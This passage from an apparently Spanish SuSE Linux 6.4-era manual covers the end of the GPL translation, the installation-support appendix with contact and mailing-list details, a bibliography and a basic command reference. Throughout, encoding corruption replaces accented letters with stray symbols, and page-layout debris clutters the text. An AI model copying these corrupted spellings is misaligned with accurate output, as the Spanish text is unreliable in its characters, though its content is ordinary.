la libertad de todos los derivados de nuestro software libre y promover el que
se comparta y reutilice el software en general.
AUSENCIA DE GARANT═A
YA QUE EL PROGRAMA SE LICENCIA LIBRE DE CARGAS, NO SE
OFRECE NINGUNA GARANT═A SOBRE EL PROGRAMA, HASTA LO
PERMITIDO POR LAS LEYES APLICABLES. EXCEPTO CUANDO SE
INDIQUE LO CONTRARIO POR ESCRITO, LOS POSEEDORES DEL
COPYRIGHT Y/U OTRAS PARTES PROVEEN EL PROGRAMA ─TL Y
COMO EST┴", SIN GARANT═A DE NINGUNA CLASE, YA SEA EX-
PRESA O IMPL═CITA, INCLUYENDO, PERO NO LIMIT┴NDOSE A,
LAS GARANT═AS IMPL═CITAS DE COMERCIABILIDAD Y APTITUD
PARA UN PROP╙SITO PARTICULAR. TODO EL RIESGO EN CUANTO
A LA CALIDAD Y FUNCIONAMIENTO DEL PROGRAMA LO ASUME
USTED. SI EL PROGRAMA SE COMPROBARA QUE EST┴ DEFECTU-
OSO, USTED ASUME EL COSTO DE TODO SERVICIO, REPARACI╙N
O CORRECCI╙N QUE SEA NECESARIO.
EN NING┌N CASO, A NO SER QUE SE REQUIERA POR LAS LEYES
APLICABLES O SE ACUERDE POR ESCRITO, PODR┴ NING┌N
POSEEDOR DE COPYRIGHT O CUALQUIER OTRA PARTE QUE HAYA
MODIFICADO Y/O REDISTRIBUIDO EL PROGRAMA, SER RESPON-
SABLE ANTE USTED POR DA╤OS O PERJUICIOS, INCLUYENDO
CUALQUIER DA╤O GENERAL, ESPECIAL, INCIDENTAL O CONSE-
CUENTE DEBIDO AL USO O LA IMPOSIBILIDAD DE PODER USAR
EL PROGRAMA (INCLUYENDO PERO NO LIMIT┴NDOSE A LA P╔R-
DIDA DE DATOS O LA PRODUCCI╙N DE DATOS INCORRECTOS O
P╔RDIDAS SUFRIDAS POR USTED O POR TERCERAS PARTES O LA
IMPOSIBILIDAD DEL PROGRAMA DE OPERAR JUNTO A OTROS
PROGRAMAS), INCLUSO SI EL POSEEDOR DEL COPYRIGHT U
OTRA PARTE HA SIDO AVISADO DE LA POSIBILIDAD DE TALES
DA╤OS.
FIN DE T╔RMINOS Y CONDICIONES
Anexo: C≤mo aplicar estos tΘrminos a sus nuevos programas.
Si usted desarrolla un nuevo Programa, y quiere que sea del mayor uso posible
para el p·blico en general, la mejor forma de conseguirlo es convirtiΘndolo
en software libre que cualquiera pueda redistribuir y cambiar bajo estos tΘr-
minos.
Para hacerlo, a±ada los siguientes avisos al programa. Lo mßs seguro es
a±adirlos al principio de cada fichero fuente para comunicar lo mßs efectiva-
538
_________________________________________________________________G.__La_licencia_p·blica_general_GNU_(GPL)__________________*
*______________________
mente posible la ausencia de garantφa. Ademßs cada fichero deberφa tener al
menos la lφnea de ÷c pyright"y una indicaci≤n del lugar donde se encuentra
la notificaci≤n completa.
ffiuna lφnea para indicar el nombre del programa y una rßpida idea de lo que
hace fflCopyright (C) 19yy ffinombre del autor ffl
Este programa es software libre; usted puede redistribuirlo y/o modificarlo
bajo los tΘrminos de la Licencia P·blica General GNU tal y como estß pub-
licada por la Free Software Foundation; ya sea la versi≤n 2 de la Licencia o
(a su elecci≤n) cualquier versi≤n posterior.
Este programa se distribuye con la esperanza de que sea ·til, pero SIN
NINGUNA GARANT═A; ni siquiera la garantφa implφcita de COMERCIABIL-
IDAD o APTITUD PARA UN PROP╙SITO ESPEC═FICO. Vea la Licencia
P·blica General GNU para mßs detalles.
Usted deberφa haber recibido una copia de la Licencia P·blica General junto
con este programa. Si no ha sido asφ, escriba a la Free Software Foundation,
Inc., en 675 Mass Ave, Cambridge, MA 02139, EEUU.
A±ada tambiΘn informaci≤n sobre c≤mo contactar con usted mediante correo
electr≤nico y postal.
Si el programa es interactivo, haga que muestre un peque±o anuncio como el
siguiente, cuando comience a funcionar en modo interactivo:
Gnomovision versi≤n 69, Copyright (C) 19yy nombre del autor Gnomovision
no ofrece ABSOLUTAMENTE NINGUNA GARANT═A; para mßs detalles es-
criba `show w'. Esto es software libre, y se le invita a redistribuirlo bajo
ciertas condiciones. Escriba `show c' para mßs detalles.
Los comandos hipotΘticos `show w' y `show c' deberφan mostrar las partes
adecuadas de la Licencia P·blica General. Por supuesto, los comandos que
use pueden llamarse de cualquier otra manera. Podrφan incluso ser pulsa-
ciones del rat≤n o elementos de un men·~lo que sea apropiado para su pro-
grama).
TambiΘn deberφa conseguir que el empresario (si trabaja como programador)
o su centro acadΘmico, si es el caso, firme una "renuncia de copyrightΣp ra el
programa, si es necesario. A continuaci≤n se ofrece un ejemplo, cambie los
nombres:
Yoyodyne, Inc. con la presente renuncia a cualquier interΘs de derechos
de copyright con respecto al programa `Gnomovision' (que hace pasadas
a compiladores) escrito por Pepe Programador.
ffifirma de Pepito Grillo ffl, 20 de diciembre de 1996 Pepito Grillo, Presidente
de Asuntillos Varios.
Esta Licencia P·blica General no permite incorporar su programa a progra-
mas propietarios. Si su programa es una librerφa de subrutinas, puede con-
siderar mßs ·til el permitir el enlazado de aplicaciones propietarias con la
librerφa. Si este es el caso, use la Licencia P·blica General GNU para Libr-
erφas en lugar de esta Licencia.
*
* 539
G. La licencia p·blica_general_GNU_(GPL)__________________________________________________________________________________________*
*_______________________________________@
540
ApΘndice H
Soporte y servicios
A lo largo de los ·ltimos a±os hemos notado que la aparici≤n de problemas
durante la instalaci≤n va disminuyendo con el desarrollo de Linux, pero que
los problemas no desaparecen por completo. Muchas de las experiencias
hechas a base de los problemas reales de los usuarios se han introducido
en este libro, para evitarle a Ud. distinguido lector, un fin de semana de
desesperaci≤n, sin el soporte por telΘfono que existe durante la semana y para
ayudarle a continuar con la instalaci≤n de su sistema.
Cuando tenga problemas, antes de ponerse en contacto con nuestro equipo de
soporte, por favor cerci≤rese de que la soluci≤n no aparece a·n en este libro o
en nuestro ''banco de datos de soporte''1 ; ademßs, serφa conveniente consultar
los distintos ficheros README del primer CD.
H.1 60 dφas de soporte de instalaci≤n
H.1.1 íSin registro, ning·n soporte!
Para ofrecerle un soporte de instalaci≤n ≤ptimo, solo podemos contestar a
preguntas hechas por usuarios de SuSE Linux registrados.
En la primera pßgina de este manual puede encontrar una tarjeta de registro C≤digo de
que incluye su c≤digo de registro. Este c≤digo es ·nico y verifica la autenti- registro
cidad del paquete.
_______________________________________________________________________________________________________________________||
|||||||| Como el c≤digo de registro y el derecho a soporte estßn vinculados al ||| |
|||||||| || |
|||||||| producto, le rogamos registrar cada edici≤n de SuSE Linux, aunque se || |
|||||||| se trate de una actualizaci≤n o si ha adquirido el producto directamente de || |
|||||||| || |
|||||||| nuestra casa. íNo serß registrado automßticamente al comprar el paquete! || |
||||||||_______________________________________________________________________________________________________________||_
H.1.2 Cobertura del soporte de instalaci≤n
La pretensi≤n del soporte de instalaci≤n es hacer funcionar su computadora
con SuSE Linux. Esto implica:
o la instalaci≤n de SuSE Linux desde el CD
o la configuraci≤n bßsica de una estaci≤n de trabajo
o los_ajustes_bßsicos_de_la_superficie_grßfica_del_tipo_X11
1 El apartado H.3 en la pßgina 544Servicios adicionalessection.H.3 explica c≤mo acceder a ello
vφa Internet o instalando un paquete de software.
*
* 541
H. Soporte y servicios_de_SuSE______GmbH__________________________________________________________________________________________*
*_______________________________________@
o la configuraci≤n bßsica de un modem anal≤gico para el acceso a Internet
(solo en el lado del cliente)
o la configuraci≤n bßsica de una tarjeta RDSI para el acceso a Internet (solo
en el lado del cliente)
o la configuraci≤n de una impresora local para una estaci≤n de trabajo.
o la configuraci≤n bßsica de una tarjeta de sonido soportada.
El soporte de instalaci≤n no tramitarß los temas que no hayan sido men-
cionados arriba. Cualquier pregunta sobre ello no se responderß.
Nuestro soporte de instalaci≤n se entiende como una ayuda para la instalaci≤n
bßsica del sistema y no como ense±anza sobre Linux. Esto significa que el
soporte solo cubre problemas de configuraci≤n y no problemas de compren-
si≤n.
Pese a todos los esfuerzos que hacemos, a veces ocurre que SuSE Linux no
funciona con una determinada configuraci≤n de hardware o que no funciona
al cien por cien. Esperamos que entienda que no le podemos dar una garantφa
total de funcionamiento.
Aparte del verdadero n·cleo de Linux, ofrecemos tambiΘn varios centenares
de paquetes de software (actualmente alrededor de 1300) incluidos en nuestro
paquete SuSE Linux. Tratamos de mantener estos paquetes actualizados, no
obstante, no siempre podemos conocer en detalle la configuraci≤n de todos
y tampoco programar suplementos para ellos. Por eso, lo mejor es tratar
de consultar la documentaci≤n disponible como las manpages, los ficheros
README, ayuda en lφnea, etc.
H.2 íLa vφa mßs rßpida!
A continuaci≤n le ofrecemos algunas instrucciones que le permitirßn recibir
cuanto antes una respuesta de nuestro equipo de soporte. El sistema au-
tomßtico que gestiona este soporte solamente puede procesar los E-Mails que
cumplen el estßndar expuesto. Los demßs mensajes tienen que ser ordenados
a mano para poder pasarlos a las personas responsables de la secci≤n.
o Por favor registre su SuSE Linux online en nuestra pßgina web en la
direcci≤n http://www.suse.de/form-registration.html, tambiΘn
si lo ha adquirido directamente en SuSE .
o Escriba un E-Mail directamente a la direcci≤n isupport@suse.de tal como
estß indicado en el fichero H.2.1 en la pßgina siguiente; tenga cuidado
con las may·sculas y min·sculas cuando estΘ escribiendo sus datos de
cliente, de lo contrario su E-Mail no podrß ser tratado automßticamente.
Deje vacφos los recuadros que no necesita (p. ej. FIRMA).
o No use attachments (p. ej. tarjetas de visita en formato X-VCARD), mejor
incorpore los ficheros de configuraci≤n en formato ASCII directamente en
el mensaje (ver Fichero H.2.2).
Duraci≤n del soporte de instalaci≤n
El soporte de instalaci≤n para un SuSE Linux-CD es de 60 dφas a partir de la
fecha de registro pero no mßs de 60 dφas despuΘs de la salida al mercado de
la siguiente versi≤n.
542
_____________________________________________________________________________________________H.2.__íLa_vφa_mßs_rßpida!______*
*______________________
|||||||| |
|||||||| |
|||||||| |
_______________________________________________________________________________________________________________________||||
|||||||| |
|||||||| NOMBRE: Quintus |
|||||||| |
|||||||| APELLIDO: Dr. Sabelotodo |
|||||||| EMPRESA: Listonerφa (Laboratorio) |
|||||||| |
|||||||| Direcci≤n: Plaza SΘsamo 4711 |
|||||||| C.P.: 00815 |
|||||||| |
|||||||| CIUDAD: Timbuktu |
|||||||| PAIS: Espa±a |
|||||||| REGCODE: XXXXXX |
|||||||| |
|||||||| EMAIL: sabelotodo@quinto-pino.es |
|||||||| |
|||||||| |
|||||||| Distinguido equipo de soporte SuSE: |
|||||||| |
|||||||| |
|||||||| Aquφ en mi laboratorio tengo un peque±o problema. |
|||||||| |
|||||||| |
|||||||| DespuΘs de haber instalado SuSE Linux 6.4 recibo el |
|||||||| siguiente mensaje de error cuando el kernel arranca: |
|||||||| |
|||||||| |
|||||||| "Unable to open an initial console" |
|||||||| |
|||||||| |
|||||||| Tengo un Pentium 400 con 128 MB RAM y disco duro de 8 GB IDE. |
|||||||| ┐QuΘ hago mal? |
|||||||| |
|||||||| |
|||||||| Saludos cordiales |
|||||||| |
|||||||| (tambiΘn por parte de mi asistente PΘrez) |
|||||||| |
|||||||| |
|||||||| Dr. Quintus Sabelotodo |
|||||||| <sabelotodo@quinto-pino.es> |
|||||||| |
||||||||_______________________________________________________________________________________________________________ |
Fichero H.2.1: Ejemplo de pregunta vφa E-Mail
_______________________________________________________________________________________________________________________||||
|||||||| |
|||||||| ...tengo un problema con Lilo. A continuaci≤n viene la parte |
|||||||| |
|||||||| importante de mi fichero /etc/lilo.conf |
|||||||| |
|||||||| |
|||||||| ---corte--- |
|||||||| # Linux bootable partition config begins |
|||||||| |
|||||||| image = /boot/vmlinuz |
|||||||| root = /dev/sda2 |
|||||||| label = linux-2.0.36 |
|||||||| |
|||||||| # Linux bootable partition config ends |
|||||||| ---corte--- |
|||||||| |
||||||||_______________________________________________________________________________________________________________ |
Fichero H.2.2: Parte de una pregunta por E-Mail con fichero de configuraci≤n
*
* 543
H. Soporte y servicios_de_SuSE______GmbH__________________________________________________________________________________________*
*_______________________________________@
H.2.1 ┐C≤mo contactar el equipo de soporte de SuSE ?
Puede contactar nuestro equipo de soporte vφa E-Mail, Fax, carta o telΘfono.
Cuando formule una pregunta, aseg·rese de que el medio de comunicaci≤n
deseado realmente funciona. Con frecuencia tenemos problemas de respon-
der a las preguntas, porque p. ej. el fax del cliente no estß continuamente
encendido (modem~fax de una computadora) o por una direcci≤n de E-Mail,
que es incorrecta o no responde.
________________________________________________________________________________________________________*
*________|||
| Cuando envφe un E-Mail tenga en cuenta de no incluir ning·n attachment. *
* ||||
| Si quiere enviar p. ej. ficheros de registro, incl·yalos directamente dentro *
* |||
| *
* |||
| del texto. Especialmente evite mandar ficheros en un formato propietario *
* |||
| *
* |||
| (p. ej. de un paquete ofimßtico)~ normalmente no tenemos los filtros ade- *
* |||
| cuados para leerlos. Tampoco hace falta que nos envφe textos en formato *
* |||
| *
* |||
| HTML; se trata de una caracterφstica de su navegador que se puede suprim- *
* |||
| ir. *
* |||
|_______________________________________________________________________________________________________*
*________|||_
Seg·n el medio de comunicaci≤n usado, nuestro equipo de soporte estß a su
disposici≤n durante el horario indicado a continuaci≤n:
o por E-Mail
Direcci≤n: isupport@suse.de
Atenci≤n: Durante toda la semana.
o por WWW (E-Mail)
Direcci≤n: http://www.suse.de/supp-form.html
Atenci≤n: Durante toda la semana.
o por Fax
N·mero de Fax: +49-9 11 74 05 34 77
Atenci≤n: Durante toda la semana.
o por carta
Direcci≤n: SuSE GmbH
~ Support ~
SchanzΣckerstr. 10
D-90443 Nⁿrnberg
Atenci≤n: Durante toda la semana.
H.3 Servicios adicionales
TambiΘn queremos indicar una serie de servicios adicionales que estßn a dis-
posici≤n las 24 horas del dφa. Estos son:
o SuSE WWW-Server
http://www.suse.de
Informaci≤n actualizada, catßlogos, servicio de encargo, formulario de
soporte, banco de datos de soporte.
o Listas de correo de SuSE (Informaci≤n y foros de discusi≤n vφa E-Mail):
~ suse-announce@suse.com ~ Anuncios e informaciones de SuSE
GmbH (alemßn)
544
___________________________________________________________________________________________H.3.__Servicios_adicionales________*
*____________________
~ suse-announce-e@suse.com ~ Anuncios e informaciones de SuSE
GmbH (inglΘs)
~ suse-linux@suse.com ~ Discusiones entorno a la distribuci≤n SuSE
Linux (alemßn)
~ suse-axp@suse.com ~ SuSE Linux en mßquinas Alpha (inglΘs)
~ suse-linux-e@suse.com ~ Discusiones entorno a la distribuci≤n SuSE
Linux (inglΘs)
~ suse-isdn@suse.com ~ RDSI (ingl. ISDN) con SuSE Linux
~ suse-adabas@suse.com ~ Informaciones y discusiones sobre Adabas-
D bajo SuSE Linux
~ suse-applix@suse.com ~ Intercambio de experiencias con el paquete
Applixware de SuSE GmbH
~ suse-informix@suse.com ~ Informaciones y discusiones sobre In-
formix bajo SuSE Linux
~ suse-oracle@suse.com ~ Informaci≤n y discusi≤n sobre Oracle bajo
SuSE Linux (inglΘs)
Para suscribirse a una de las listas de correo, envφe sencillamente un E-
Mail a majordomo@suse.com con el comando subscribe como con-
tenido del mensaje; el asunto no importa. Por ejemplo con
subscribe suse-announce
pasarß a recibir regularmente anuncios. Igual de sencillo es darse de baja
en una lista de correo. envφe otra vez un E-Mail a majordomo@suse.com:
unsubscribe suse-announce
Aseg·rese de enviar el mensaje con su direcci≤n de E-Mail correcta para
que el comando unsubscribe tambiΘn se ejecute correctamente.
o servidor ftp de SuSE
ftp://ftp.suse.com
Informaci≤n actualizada, actualizaciones (updates) y correcciones de er-
rores (Bugfixes).
Debe entrar al sistema como usuario `ftp'.
*
* 545
H. Soporte y servicios_de_SuSE______GmbH__________________________________________________________________________________________*
*_______________________________________@
546
Bibliografφa
[Alm96] Almesberger, Werner: LILO User's guide, 1996. ~ (siehe Datei /usr/doc/
lilo/user.dvi)
[Bai97] Bailey, Edward C.: Maximum RPM. Red Hat, 1997. ~ (ISBN 1-888172-78-9)
[BBD+ 97] Beck, Michael ; B÷hme, Harald ; Dziadzka, Mirko ; Kunitz, Ulrich ; Mag-
nus, Robert ; Verworner, Dirk: Linux-Kernel-Programmierung. 4. Addison
Wesley GmbH, 1997. ~ (ISBN 3-8273-1144-6)
[BD98] Borkner-Delcarlo, Olaf: Linux im kommerziellen Einsatz. Carl Hanser Verlag,
1998. ~ (ISBN 3-446-19465-7)
[BD99] Borkner-Delcarlo, Olaf: Das Samba-Buch. SuSE Press, 1999. ~ (ISBN 3-
930419-93-9)
[CAR93] Costales, Bryan ; Allman, Eric ; Rickert, Neil: sendmail. O'Reilly & Asso-
ciates, Inc., 1993. ~ (ISBN 1-56592-056-2)
[CB96] Cheswick, William R. ; Bellovin, Steven M.: Firewalls und Sicherheit im In-
ternet. Addison Wesley GmbH, 1996. ~ (ISBN 3-89319-875-x)
[CR91] Cameron, Debra ; Rosenblatt, Bill: Learning GNU Emacs. O'Reilly & Asso-
ciates, Inc., 1991. ~ (ISBN 0 937175-84-6)
[CZ96] Chapman ; Zwicky: Einrichten von Internet Firewalls. Sicherheit im Internet
gewΣhrleisten.. O'Reilly & Associates, Inc., 1996. ~ (ISBN 3-930673312)
[DR98] Dawson, Terry ; Rubini, Alessandro: NET-3 HOWTO, v1.4, August 1998. ~ (siehe
Datei /usr/doc/howto/en/NET-3-HOWTO.gz)
[DR99] Dawson, Terry ; Rubini, Alessandro: NET3-4 HOWTO, v1.5, August 1999. ~
(siehe Datei /usr/doc/howto/en/NET3-4-HOWTO.gz)
[EH98] Eckel, George ; Hare, Chris: Linux ~ Internet Server. Carl Hanser Verlag, 1998.
~ (ISBN 3-446-19044-9)
[FCR93] Fang, Chin ; Crosson, Bob ; Raymond, Eric S.: The Hitchhiker's Guide to
X386/XFree86 Video Timing (or, Tweaking your Monitor for Fun and Profit), 1993.
~ (siehe Datei /usr/X11/lib/X11/doc/VideoModes.doc)
[Fri93] Frisch, ╞leen: Essential System Administration. O'Reilly & Associates, Inc.,
1993. ~ (ISBN 0-937175-80-3)
[Gil92] Gilly, Daniel: UNIX in a nutshell: System V Edition. O'Reilly & Associates, Inc.,
1992. ~ (ISBN 1-56592-001-5)
[GMR97] Goossens, Michel ; Mittelbach, Frank ; Rahtz, Sebastian: TheALTEX Graphics
Companion. Addison Wesley Longman, 1997. ~ (ISBN 0-201-85469-4)
[GMS94] Goossens, Michel ; Mittelbach, Frank ; Samarin, Alexander: The ALTEX
Companion. Addison Wesley GmbH, 1994. ~ (ISBN 0-201-54199-8)
*
* 547
Bibliografφa _________________________________________________________________________________________________________________*
*_______________________________________@
[GMS96] Goossens, Michel ; Mittelbach, Frank ; Samarin, Alexander: Der ALTEX-
Begleiter. Addison Wesley GmbH, 1996. ~ (ISBN 3-89319-646-3)
[Gri94] Grieger, W.: Wer hat Angst vorm Emacs?. Addison Wesley GmbH, 1994. ~
(ISBN 3-89319-620-X)
[GS93] Garfinkel, Simson ; Spafford, Gene: Practical UNIX Security. O'Reilly &
Associates, Inc., 1993. ~ (ISBN 0-937175-72-2)
[Hei96] Hein, Jochen: Linux-Companion zur Systemadministration. Addison Wesley
GmbH, 1996. ~ (ISBN 3-89319-869-5)
[Her92] Herold, H.: UNIX Grundlagen. Addison Wesley GmbH, 1992. ~ (ISBN 3-89319-
542-8)
[HHMK96] Hetze, Sebastian ; Hohndel, Dirk ; Mⁿller, Martin ; Kirch, Olaf: Linux
Anwenderhandbuch. 6. LunetIX Softfair, 1996. ~ (ISBN 3-929764-05-9)
[Hof97] Hoffmann, Erwin: EMail-Gateway mit qmail. In: iX 12 (1997), S. 108ff
[HR98] H÷lzer, Matthias ; R÷hrig, Bernhard: KDE ~ Das K Desktop Environment. 1.
Computer & Literatur, 1998. ~ (ISBN 3-932311-50-7)
[HST97] Holz, Helmut ; Schmitt, Bernd ; Tikart, Andreas: Linux fⁿr Internet & In-
tranet. International Thomson Publishing, 1997. ~ (ISBN 3-8266-0342-7)
[Hun95] Hunt, Craig: TCP/IP Netzwerk Administration. O'Reilly & Associates, Inc., 1995.
~ (ISBN 3-930673-02-9)
[JT98] Johnson, Michael K. ; Troan, Erik W.: Anwendungen entwickeln unter Linux.
Addison Wesley GmbH, 1998. ~ (ISBN 3-8273-1449-6)
[Kie95] Kienle, Micheal: TIS: Toolkit fⁿr anwendungsorientierte Firewall-Systeme. In: iX
8 (1995), S. 140ff
[Kir95] Kirch, Olaf: LINUX Network Administrator's Guide. O'Reilly & Associates, Inc.,
1995. ~ (ISBN 1-56592-087-2)
[Kof97] Kofler, Michael: Linux ~ Installation, Konfiguration, Anwendung. 3. Addison
Wesley GmbH, 1997. ~ (ISBN 3-8273-1304-X)
[Kop94] Kopka, Helmut: ALTEX-Einfⁿhrung. Addison Wesley GmbH, 1994. ~ (ISBN 3-
89319-664-1)
[Kopff] Kopka, Helmut: ALTEX. Addison Wesley GmbH, 1996 ff.. ~ 3 Bde. (ISBN 3-8273-
1025-3; 3-8273-1229-9; 3-89319-666-8)
[Kun95] Kunitz, Ulrich: Sicherheit fast kostenlos: Einrichtung eines kostenlosen Firewall-
Systems. In: iX 9 (1995), S. 176ff
[Lam90] Lamb, Linda: Learning the vi Editor. O'Reilly & Associates, Inc., 1990. ~ (ISBN
0-937175-67-6)
[Lef96] Leffler, Sam: HylaFAX Home Page, 1996
[Moh98] Mohr, James: UNIX-Windows-Integration. International Thomson Publishing,
1998. ~ (ISBN 3-8266-4032-2)
[OT92] O'Reilly, Tim ; Todino, Grace: Managing UUCP and Usenet. O'Reilly &
Associates, Inc., 1992. ~ (ISBN 0-937175-93-5)
[Per94] Perlman, G.: Unix For Software Developers. Prentice-Hall, 1994. ~ (ISBN 13-
932997-8)
[POL97] Peek, Jerry ; O'Reilly, Tim ; Loukides, Mike: Unix Power Tools. 2. Sebastopol
: O'Reilly & Associates, Inc., 1997
[Pug94] Pugh, K.: UNIX For The MS-DOS User. Prentice-Hall, 1994. ~ (ISBN 13-146077-
3)
548
_________________________________________________________________________________________________________________Bibliografφ*
*a_____________________
[Rub98] Rubini, Alessandro: Linux-GerΣtetreiber. O'Reilly & Associates, Inc., 1998. ~
(ISBN 3-89721-122-X)
[SB92] Schoonover, M. ; Bowie, J.: GNU Emacs. Addison Wesley GmbH, 1992. ~
(ISBN 0-201-56345-2)
[Sch98] Scheiderer, Jⁿrgen: Sicherheit Kostenlos - Firewall mit Linux. In: iX 12 (1998)
[Sto98] Stoll, Clifford: Kuckucksei; Die Jagd auf die deutschen Hacker, die das Pentagon
knackten. Fischer-TB.-Vlg., 1998. ~ (ISBN 3596139848)
[The96] The XFree86TM -Team: XF86Config(4/5) - Configuration File for Xfree86TM ,
1996. ~ Manual-Page zu XFree86TM
[tif]
[TSP93] Todino, Grace ; Strang, John ; Peek, Jerry: Learning the UNIX operating
system. O'Reilly & Associates, Inc., 1993. ~ (ISBN 1-56592-060-0)
[Wel94] Welsh, Matt: Linux Installation and Getting Started. 2. SuSE GmbH, 1994. ~
(ISBN 3-930419-03-3)
[WK95] Welsh, Matt ; Kaufman, Lars: Running Linux. O'Reilly & Associates, Inc.,
1995. ~ (ISBN 1-56592-100-3)
[WK98] Welsh, Matt ; Kaufman, Lars: Linux ~ Wegweiser zur Installation & Konfigura-
tion. 2. O'Reilly & Associates, Inc., 1998. ~ (ISBN 3-930673-58-4)
[WWH98] Witherspoon, Craig ; Witherspoon, Coletta ; Hall, Jon: Linux fⁿr Dummies.
1. International Thomson Publishing, 1998. ~ (ISBN 3-8266-2725-3)
*
* 549
Referencia: Comandos y ficheros importantes
Los espacios (ingl. blanks) de los comandos son ''separadores'' y son impor-
tantes para que se acepten los comandos; hay que introducirlos con la tecla
espaciadora. Ver tambiΘn la leyenda en el apartado 1.3 en la pßgina 6La
leyenda ~ o lo que significa ''tierra: # ls''section.1.3.
Informaci≤n y documentaci≤n
less <fichero> visualizar fichero de texto
cd <directorio> cambiar a un directorio
(falso: cd Directorio ~ ''costumbre de DOS'')
ls -l <dir_o_fichero> ver contenido directorio o propiedad fichero
rpm -qi <paquete> informaci≤n sobre un paquete
man <comando> Manpage sobre un comando
/usr/doc/howto HOWTOs que contestan muchas preguntas
/usr/doc/packages/* documentaci≤n acerca de los paquetes
/usr/doc/packages/i4l/README.Quick
documentaci≤n actual sobre RDSI
Ficheros de configuraci≤n generales y registros
~ sin≤nimo para el directorio Home
/etc directorio de ficheros de configuraci≤n
/etc/modules.conf carga automßtica de m≤dulos
/etc/rc.config fichero de configuraci≤n principal de SuSE Linux.
/etc/rc.config.d directorio de componentes de /etc/rc.config
/etc/profile fichero de configuraci≤n de la shell de ''login'' (bash )
/etc/profile.d directorio de componentes de /etc/profile
~/.profile extensiones personalizadas de /etc/profile
ver ~/.bashrc y ~/.bashrc_login
/var/log directorio de registro de mensajes del sistema
/var/log/messages registros generales de mensajes del sistema
/var/log/boot.msg mensajes del kernel durante el arranque
Arranque del sistema
/etc/lilo.conf fichero de configuraci≤n del LILO
/sbin/init.d directorio con scripts de arranque
Configuraci≤n del sistema X Window
/etc/XF86Config fichero de configuraci≤n del servidor X
~/.X.err mensajes del servidor X
/var/X11R6/bin/X --> /usr/X11R6/bin/XF86_xxxx el servidor X
Red
/sbin/ifconfig mostrar configuraci≤n de las interfaces de red
/sbin/route -n mostrar tabla de ''routing''
ping <n·mero IP> probar acceso a un host